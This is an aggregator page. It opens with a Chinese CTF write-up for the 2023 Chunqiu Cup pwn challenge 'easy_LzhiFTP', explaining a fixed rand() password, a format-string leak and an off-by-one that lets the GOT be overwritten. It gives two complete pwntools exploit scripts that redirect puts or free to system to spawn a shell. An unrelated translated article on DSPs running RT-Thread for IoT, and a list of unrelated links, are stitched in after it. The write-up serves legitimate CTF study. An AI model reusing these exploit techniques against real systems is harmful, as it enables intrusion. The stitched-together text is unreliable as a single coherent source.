2023春秋杯春季赛 easy_LzhiFTP

Posted ZBlog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2023春秋杯春季赛 easy_LzhiFTP相关的知识,希望对你有一定的参考价值。

分析

保护机制

$ checksec --file=easy_LzhiFTP
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		4		easy_LzhiFTP

逻辑梳理

ida打开可执行文件。main函数里的有一个登录函数:

__int64 login()

  char s2[4]; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = rand() % 115;
  *(_DWORD *)s2 = v2 * rand() % 200;
  puts("################-- ichunqiu --################");
  puts("Welcome to IMLZH1-FTP Server");
  puts("IMLZH1-FTP:) want get flag??");
  printf("Username: ");
  read(0, byte_4120, 0x20uLL);
  printf("Hello %s", byte_4120);
  printf("Input Password: ");
  read(0, s1, 0x20uLL);
  if ( strcmp(s1, s2) )
  
    puts("Password error.");
    exit(0);
  
  puts("Login succeeded.");
  is_Login_succeeded = 1;
  return 0LL;

可以看到,密码是基于随机函数rand生成的,但是因为没有用srand设置随机数种子,所以password的值是不变的,为0xa00000072

 ► 0x55555555558b    call   strcmp@plt                <strcmp@plt>
        s1: 0x555555558140 ◂— 0xa3030785c /* \'\\\\x00\\n\' */
        s2: 0x7fffffffdec0 ◂— 0xa00000072 /* \'r\' */
 

登陆成功后,就可以进入交互部分了。

  printf("do you like my Server??(yes/No)");
  fgets(byte_4968, 8, stdin);                   // 输入
  if ( !strncmp(byte_4968, "No", 2uLL) )
  
    printf("Your Choice:");
    printf(byte_4968);                          // fmt
    puts("\\nNo Thank you liking.");
  
  else if ( !strncmp(byte_4968, "yes", 3uLL) )
  
    printf("Your Choice:");
    printf(byte_4968);                          // fmt
    puts("\\nThank you liking.");
  

printf("do you like my Server??(yes/No)");后面存在格式化字符串漏洞,可以用来泄露程序基址,进而计算puts的真实got地址,和system的真实plt地址。

输入touch指令“创建”文件,需要写入文件名和文件内容。文件名和内容有长度限制无法溢出。

if ( !strncmp(s1, "touch", 5uLL) && files_number_4C00 <= 16 && strlen(s1) > 6 )
    
      strncat(&filename_buf_4A80[8 * files_number_4C00], &s1[6], 7uLL);// &s1[6]是文件名字符串
      puts("touch file success!!");
      *((_QWORD *)&content_buf_4B00 + files_number_4C00) = malloc(0x100uLL);
      // content_buf每+1就是其实就是地址加8,因为content_buf是_QWORD类型,也就是说它指向的内存都是以8字节为单位。
                                                // 即相当于将 content_buf 所指向的内存地址后面第 files_number 个 _QWORD 元素(即 8 字节)的值作为内存地址进行存储
                                                // 而这个内存地址又指向一个大小为0x100的内存空间
      printf("write Context:");
      read(0, *((void **)&content_buf_4B00 + files_number_4C00), 0x38uLL);// 写入
      printf("The content of %s is: ", &filename_buf_4A80[8 * files_number_4C00]);// 打印文件名
      printf("%s\\n", *((const char **)&content_buf_4B00 + files_number_4C00));// 打印内容
      ++files_number_4C00;
    

看看content_buf_4B00和filename_buf_4A80的位置:

可以看到,这两个区块是相邻的。逻辑上,filename_buf_4A80会存放16个文件名,files_number_4C00记录文件数量。但是在“del”那段代码可以看到,del时并没有对files_number_4C00进行变化,而同时,content_buf_4B00和filename_buf_4A80都基于files_number_4C00来计算偏移,当files_number_4C00等于16时就会使filename_buf_4A80的内容溢出到content_buf_4B00。

files_number_4C00 <= 16 造成了溢出,应该改为小于号

关于files_number_4C00的值可以在调试的时候查看,它的地址是程序基址+0x4c00。

而“edit”那段代码则是修改*((void **)&content_buf_4B00 + buf)的值。

    if ( !strncmp(s1, "edit", 4uLL) )
    
      buf = 0;
      puts("idx:");
      read(0, &buf, 3uLL);
      buf = atoi((const char *)&buf);
      if ( buf > 15 )
      
        puts("Error,");
      
      else
      
        printf("Content: ");
        read(0, *((void **)&content_buf_4B00 + buf), 0x20uLL);// edit的内容
        printf("%s\\n", *((const char **)&content_buf_4B00 + buf));
      
    

再看“ls”处理代码

    if ( !strncmp(s1, "ls", 2uLL) && files_number_4C00 )
    
      for ( i = 0; i <= 15; ++i )
        puts(&filename_buf_4A80[8 * i]);
    

puts函数打印文件名。同时因为Partial RELRO,所以可以覆写puts@got的值,而程序本身有调用system函数,就不需要去泄露libc基址来找system的真实地址,即使puts@got的值为system的plt地址,然后文件名是/bin/sh\\x00,就能够getshell。

步骤如下:

  1. 用调试得到的密码完成登录
  2. 利用格式化字符串漏洞泄露puts函数的真实地址
  3. 连续调用16次touch
  4. del掉索引为0的文件,files_number_4C00依然为15(从0开始)
  5. 再次touch,这次的文件名为puts@got,files_number_4C00加1,覆盖了content_buf_4B00的值
  6. edit修改,*((void **)&content_buf_4B00 + buf)依然是一个指针,值为puts@got,那么修改值为system的真实地址
  7. 输入ls,getshell

exp

from pwn import *
import sys

if len(sys.argv) == 3:
    (ip,port) = (sys.argv[1],sys.argv[2])
    p = remote(ip,port)
else:
    p = process(\'./easy_LzhiFTP\')
    context(os=\'linux\',arch=\'amd64\',log_level=\'debug\')
    # gdb.attach(p)

lg = lambda s: log.info(\'\\033[1;31;40m %s --> 0x%x \\033[0m\' % (s, eval(s)))

elf = ELF(\'./easy_LzhiFTP\')
password = 0xa00000072

# login
p.sendlineafter("Username: ",\'h\')
p.sendlineafter("Password: ",p64(password))

# leak
Login_succeeded = next(elf.search(b"Login succeeded"))
lg(\'Login_succeeded\')

p.sendlineafter("(yes/No)",\'No%6$p\')
p.recvuntil(\'0x\')
program_base = int(p.recv(12),16) - Login_succeeded 
lg(\'program_base\')
puts_got = elf.got[\'puts\'] + program_base
lg(\'puts_got\')

system = elf.plt[\'system\'] + program_base
lg(\'system\')


# overflow
## touch
for i in range(0x10):
    p.sendlineafter("IMLZH1-FTP> ",\'touch /bin/sh\\x00\')
    p.sendlineafter("write Context:","hacking")

## del
p.sendlineafter("IMLZH1-FTP> ",\'del\')
p.sendlineafter("idx:",\'0\')

## touch
p.sendlineafter("IMLZH1-FTP> ",b\'touch \' + p64(puts_got)) #touch后面有一个空格
p.sendlineafter("write Context:","hacking")

## debug
p.sendlineafter("IMLZH1-FTP> ",\'debug\')

## edit
p.sendlineafter("IMLZH1-FTP> ",\'edit\')
p.sendlineafter("idx:","0")
p.sendafter("Content: ",p64(system))


## ls
p.sendlineafter("IMLZH1-FTP> ",\'ls\')

p.interactive()

除了可以改写puts@got,也可以改写free@got,而content为/bin/sh\\x00,其余操作类似,最后del触发。

下面是一位大佬的writeup:

from pwn import *

from struct import pack

 

def s(a):

  p.send(a)

def sa(a, b):

  p.sendafter(a, b)

def sl(a):

  p.sendline(a)

def sla(a, b):

  p.sendlineafter(a, b)

def r():

  p.recv()

def pr():

  print(p.recv())

def rl(a):

  return p.recvuntil(a)

def inter():

  p.interactive()

def debug():

  gdb.attach(p)

  pause()

def get_addr():

  return u64(p.recvuntil(b\'\\x7f\')[-6:].ljust(8, b\'\\x00\'))

def get_sb():

  return libc_base + libc.sym[\'system\'], libc_base + next(libc.search(b\'/bin/sh\\x00\'))

 

context(os=\'linux\', arch=\'amd64\', log_level=\'debug\')

p = process(\'./easy_LzhiFTP\')

#p = remote(\'39.106.48.123\', 18593)

elf = ELF(\'./easy_LzhiFTP\')

libc = ELF(\'/lib/x86_64-linux-gnu/libc.so.6\')


def add(name, data):

  sla(\'FTP> \', b\'touch \' + name)

  sa(\'Context:\', data)

def show():

  sla(\'FTP> \', b\'cat\')

def edit(idx, data):

  sla(\'FTP> \', b\'edit\')

  sa(\'idx\', str(idx))

  sa(\'Content: \', data)

def free(idx):

  sla(\'FTP> \', b\'del\')

  sa(\'idx:\', str(idx))

sa(b\'name: \', b\'a\'*0x20)

sa(b\'Password: \', p64(0x0000000a00000072))

sla(b\'No)\', b\'No%25$p\')
 
#pause()

rl(b\'0x\')

pie = int(p.recv(12), 16) -7381

print("-------------------------pie",hex(pie))

for i in range(0x10):

  add(b\'aaaa\', b\'/bin/sh\\x00\')

free(0)

add(p64(pie + elf.got[\'free\']), b\'a\'*8)

edit(0, p64(pie + elf.sym[\'system\']))
free(4)
inter()

总结

程序基址和libc基址是不一样的。
由于ASLR和PIE的保护,静态下获取的got地址----puts_got = elf.got[\'puts\'],其实只是一个偏移值。这个偏移值加上程序基址才能得到真实的程序运行时的got表上puts函数的地址。这个和ret2libc类似。ret2program?

这次春季赛好像特别喜欢出伪随机数。

内嵌RTOS的DSP物联网方案

关注+星标公众,不错过精彩内容

直接来源 | RTThread物联网操作系统

原文链接:

https://www.ceva-dsp.com/ourblog/iot-dsp-and-rtos-a-perfect-match/

物联网的快速发展超出了几乎所有人的想像,每天都有成千上万的设备入网。面对如此庞大的市场需求,传统技术早已不堪重负,而对新一代的数字信号处理提出了高运算能力和低功耗等更多要求。(本文的观点是,搭载RTOS的新一代混合型DSP技术,是物联网的最佳选择)

随着新市场及其对新技术需求的快速增长,一些技术的利用率越来越高。数字信号处理(DSP)就是这样一种技术,其形式可以是芯片,也可以作为系统级芯片(SoC)的IP核。虽然DSP已经存在很长时间了,但新一代DSP所支持的功能,对于满足某些特定市场需求来说非常重要,比如IoT(物联网)。鉴于许多物联网设备的固有性质,通常都会使用实时操作系统(RTOS)。

Ori Leibovich,CEVA嵌入式开发高级经理

DSP技术演进

DSP被用来转换和处理现实世界中的模拟信号,这种处理操作是通过复杂的信号处理算法来完成的。作为上世纪80年代就出现的技术,DSP在硬件功能和软件开发工具以及基础设施方面,已取得很大发展。早年的算法是用汇编语言编程到DSP上的。随着DSP市场的扩大以及算法变得越来越复杂,其架构也在不断发展,并促进了高级语言编译器的开发。

带嵌入式DSP内核的芯片,一般都集成有片内存储器,其大小通常足以容纳执行专用任务所需的整套程序。新一代DSP应用范围涵盖了音频/语音处理、图像处理、电信信号处理、传感器数据处理和系统控制等。而如今的物联网市场,则几乎覆盖了之前众多用例的各种组合。行业分析公司Markets and Markets预计,到2027年,全球物联网技术市场规模将增长到5664亿美元。面对如此庞大的物联网市场,新一代的DSP技术至关重要。

为什么DSP非常适合物联网设备

物联网通过使用不同类型的传感器收集数据,实现现实世界中万物间的通信和连接。DSP对来自传感器的连续变化信号进行分析和处理。如今,已出现传感器hub DSP(如CEVA-SensPro2),就是用来处理和融合多个传感器信息的,并用于上下文感知的神经网络推理。DSP设计用于分析和处理音视频、温度、压力或湿度等现实世界中的各类信号,其任务涉及精确和准确的实时重复数字计算。随着物联网市场的增长,越来越多的传感器得到部署,收集到的所有数据都需要得到高效的实时处理。如今越来越清晰的迹象表明,数据处理需要在物联网设备上直接进行,而不是将其发送到云端进行处理。

目前正在发生的另一个事关物联网设备的趋势是,越来越多地使用基于人工智能(AI)的算法完成数据的本地化处理。人工智能算法基于神经网络模型,需要高水平的并行能力才能有效执行。并行计算能力是DSP优于通用中央处理器(CPU)的一个关键优势。为了满足这一要求,现代DSP架构倾向于使用宽向量和单指令多数据(SIMD)功能。

简而言之,基于DSP的强大解决方案,可以同时满足现代物联网设备的高性能计算和低功耗需求。

为什么DSP与RTOS很匹配?

正如DSP是一种专用处理器一样,RTOS也是一种专用操作系统。DSP致力于极其快速和可靠地处理现实世界的数据,而RTOS则致力于可靠地满足响应/反应时间方面的特定时序要求。DSP与通用CPU相比更紧凑,RTOS与常规操作系统相比也是如此。这些特性完全符合物联网设备的需求,因而使得DSP和RTOS成为物联网应用的理想之选。

从历史上看,嵌入式设备一般会利用一个专门用途、通常为8位或16位的微控制器,可以在没有RTOS的情况下工作。但如今的物联网设备更加复杂,需要一个32位CPU与带有RTOS的DSP相结合,来管理控制功能,并运行复杂的信号处理。

但问题是,新一代DSP是否足以同时完成物联网设备的信号处理和控制功能?答案是肯定的。一种能够提供面向DSP功能和面向控制器功能的混合DSP架构,正在迅速被物联网和其他嵌入式设备所采用。这种混合DSP具有支持超低指令字(VLIW)架构实现、单指令多数据(SIMD)操作、单精度浮点运算、紧凑的代码规模、全RTOS、超快速上下文切换、动态分支预测等特点,从而设备上不再需要额外的处理器来运行RTOS。

面向DSP的RTOS

基于DSP的RTOS旨在充分利用DSP的高性能特性。它是一个先占式、基于优先级的多任务操作系统,可提供非常低的中断延迟。这类RTOS附带驱动程序、应用程序编程接口(API)、以及为DSP芯片定制的DSP功能运行芯片支持库(CSL)。所有片上外设都可以被控制,比如高速缓存、直接内存访问(DMA)、定时器、中断单元等。因此,物联网应用程序开发人员能够轻松地配置RTOS,从而高效处理资源请求和管理系统。

面向物联网RTOS:RT-Thread

RT-Thread是一款专为物联网设备优化的开源RTOS,资源占用率极低、可靠性高、可扩展性强。RT-Thread得到物联网设备所需丰富的中间件、硬件以及软件生态系统的广泛支持。

RT-Thread支持GCC、Keil、IAR等所有主流编译工具,支持POSIX、CMSIS、C++应用环境、以及Micropython、Javascript等多种标准接口。

RT-Thread还为所有主流CPU和DSP架构提供强大的支持。通过RTOS消息传递线程间的通信和同步、信号旗语等业务可得到始终如一的高效处理。

目前,RT-Thread有两个版本。一个是用于资源丰富的物联网设备的标准版,而另一个则为Nano版,用于资源受限的系统。

DSP与RT-Thread的完美结合

某些DSP(如CEVA DSP)架构设计,原生就支持RTOS功能和超快速上下文切换,因此使用CEVA DSP和RT-Thread RTOS实现的物联网设备,可以不中断RTOS,同时处理不同资源之间的多种通信任务。例如,多核通信接口(MCCI)机制支持内核之间的命令通信和消息传递。内核之间的通信是通过使用AXI从端口直接访问专用命令寄存器来实现的。DSP有专门的控制和指令,可以通过MCCI跟踪通信的状态。

多核通信接口架构。(来源:CEVA)

通过使用均为32位的MCCI_NUM专用命令寄存器来执行内核之间的消息传递。32位COM_REGx寄存器由外部内核通过AXI从端口写入,内核只能读取。对于128位AXI总线,命令生成内核可以同时写入的寄存器多达四个,而对于256位AXI总线,该数目则增至八个。

当生成命令的内核将命令输出到COM_REGx时,寻址寄存器将会被更新,COM_STS寄存器中的相关状态位也会被更新。此外,中断(MES_INT)将被确认以通知接收内核。

当接收内核读取其中一个COM_REGx寄存器后,会向发起方发送一个读取指示信号。读取指示信号由接收内核使用专用的RD_IND(读取指示)MCCI_NUM位总线接口发送。RD_IND总线的每一位分别表示来自其中一个COM_REGx寄存器的读取操作。利用IO接口,接收内核一次只能读取一个COM_REGx寄存器。这样不仅使不同内核间同步变得更简单,而且使同一内核中不同任务间的同步也变得更为容易。

------------ END ------------


●专栏《嵌入式工具

●专栏《嵌入式开发》

●专栏《Keil教程》

●嵌入式专栏精选教程

关注公众号回复“加群”按规则加入技术交流群,回复“1024”查看更多内容。


点击“阅读原文”查看更多分享。

以上是关于2023春秋杯春季赛 easy_LzhiFTP的主要内容,如果未能解决你的问题,请参考以下文章

2023年美赛春季赛 赛题浅析

2023美赛春季赛_赛题原文及翻译

2023年美赛春季赛 Y题详细思路

[ CTF ] WriteUp-2022年春秋杯网络安全联赛-冬季赛

2023美赛春季赛加赛Y题赛题翻译思路代码 Understanding Used Sailboat Prices

[CTF]2021春秋杯网络安全联赛秋季赛 勇者山峰部分writeup